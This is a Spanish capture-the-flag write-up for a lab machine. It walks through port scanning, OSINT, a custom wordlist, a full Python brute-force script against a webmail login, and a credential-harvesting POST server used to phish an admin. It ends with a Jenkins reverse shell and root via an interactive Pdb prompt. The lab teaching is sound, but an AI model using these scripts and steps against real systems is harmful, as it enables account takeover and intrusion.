💢 Plataforma TheHackersLabs💢

❌Nombre: PhisermansPhriends
📈Nivel: PROFESIONAL
💻OS: Linux & OSINT
🙋🏽‍♂️Creador: Murrusko

Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para saber cuáles están activos.

Los parámetros utilizados son:

• -p- : Escaneo de todos los puertos. (65535)
• -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
• -sC : Realiz una escaneo con los scripts basicos de reconocimiento
• -sV : Realiza un escaneo en buqueda de los servicios
• –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
• -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
• -Pn: Deshabilitamos el descubrimiento de host mediante ping.

Nos encontramos dos mail de contacto y el dominio, así que los apuntaremos.

Si becamos por redes sociales nos encontramos con un usuario igual que comparte imagen.

En el cual en su única publicación vemos una presentación.

A raíz de los datos encontrados en la publicación prepararemos un diccionario personalizado con cupp.

Ejecutaremos un script personalizado para atacar el panel de login con el diccionario personalizado.

import argparse
import sys
import requests
import re
from multiprocessing.dummy import Pool as ThreadPool

settings = {
    "threads" : 10,
    "username" : "[email protected]",
    "url" : "http://mail.phisermansphriends.thl/"
}

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0',
    'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'
}

if (len(sys.argv) > 1):
    console_mode = True
    parser = argparse.ArgumentParser(description='Command line mode')
    parser.add_argument('--threads', '-t', type=int,
                        help='Number of Threads', default=10)

    args = parser.parse_args()
    if (not args.threads):
        print("'--threads' was omitted")
        exit(-1)

    settings["threads"] = args.threads

def parse_token(text):
    pattern = 'request_token":"(.*)"}'
    token = re.findall(pattern, text)
    return token

def brute(login):
    try:
        url = settings['url']
        r = requests.get(url)
        cookies = r.cookies
        token = parse_token(r.text)
        r = requests.post(url + '?_task=login',
                          data={"_token": token, "_task": "login", "_action": "login", "_timezone": "Europe/Madrid",
                                "_url": "", "_user": settings['username'], "_pass": login}, headers=headers, cookies=cookies,
                          allow_redirects=False, timeout=30)

        if (r.status_code == 302):
            print("Succes with %s:%s" % (settings['username'], login))
            sys.exit()
        else:
            print(f"Code: {r.status_code} - passw: {login}")
    except Exception as ex:
        print(ex)

def verify():
    try:
        url = settings['url']
        r = requests.get(url, timeout=1)
        token = parse_token(r.text)
        if(token == ""):
            return False
        return True
    except Exception as ex:
        print(ex)
        return False

if __name__ == "__main__":
    passwords = open("mur.txt").read().split('\n')

    print("%d passwords loaded" % (len(passwords)))
    print("Trying with username %s" % (settings['username']))
    print("-----------------------------------------------------")

    if(not verify()):
        sys.exit()
    pool = ThreadPool(settings['threads'])
    results = pool.map(brute, passwords)
    pool.close()
    pool.join()

    print("-----------------------------------------------------")
    print("The End")

Conseguimos entrar.

Una vez dentro haremos un ataque de phishing hacia el usuario administrador, pero antes debemos tener un servidor en Python que acepte el método POST, así que lo crearemos manualmente;

from http.server import BaseHTTPRequestHandler, HTTPServer

class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/':
            self.path = '/index.html'
        try:
            file_path = '.' + self.path
            with open(file_path, 'rb') as file:
                self.send_response(200)
                if file_path.endswith('.html'):
                    self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(file.read())
        except FileNotFoundError:
            self.send_response(404)
            self.send_header("Content-type", "text/plain")
            self.end_headers()
            self.wfile.write(b"404 Not Found")
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        body = self.rfile.read(content_length)
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()
        self.wfile.write(b"Received POST request with body: " + body)
        print(body)

def run_server():
    server_address = ('', 80)
    httpd = HTTPServer(server_address, RequestHandler)
    print("Server running on port 80...")
    httpd.serve_forever()

if __name__ == "__main__":
    run_server()

«`

Nos ponemos en escucha y le solicitamos que tenemos problemas con las credenciales para que el entre y poder interceptarlas.

Al cabo de unos segundo entra y obtenemos la contraseña.

Esta contraseña la usaremos en un panel de jenkins para poder entrar.

Como sabemos, podemos obtener una reverse shell ejecutando un script escrito en Groovy desde Jenkins. En esta máquina solo podemos obtener la shell usando el puerto 443, ya que el resto de puertos están cerrados.

Conseguimos acceder.

Una vez dentro reutilizaremos la misma contraseña para acceder al usuario mur.

Una ves dentro encontramos una contraseña.

Y además vemos que podemos ejecutar Python con el script ustil.py como root sin necesidad de utilizar contraseña, pero no lo podemos modificar.

Vemos que al ejecutarlo se pone a la escucha por el puerto 443, pero no sabemos el que. Crearemos un id_rsa para poder conectarnos desde otra terminal.

Y moveremos el activo id_rsa.pub a authorized_keys para poder conectarnos.

Una vez dentro nos conectaremos al puerto que esta a la escucha por telnet.

Metemos la clave que habíamos encontrado y provocamos un fallo introduciendo un carácter en vez de un dígito. Mientras tanto el la otra terminal, donde ejecutamos el script nos muestra la librería Pdb la cual tiene un modo interactivo que nos permite ejecutar código en Python.

Entramos con interactive y abrimos una /bin/bash como root.

Especial agradecimiento al compañero Murrusko por la creación y el conocimiento aportado en esta máquina.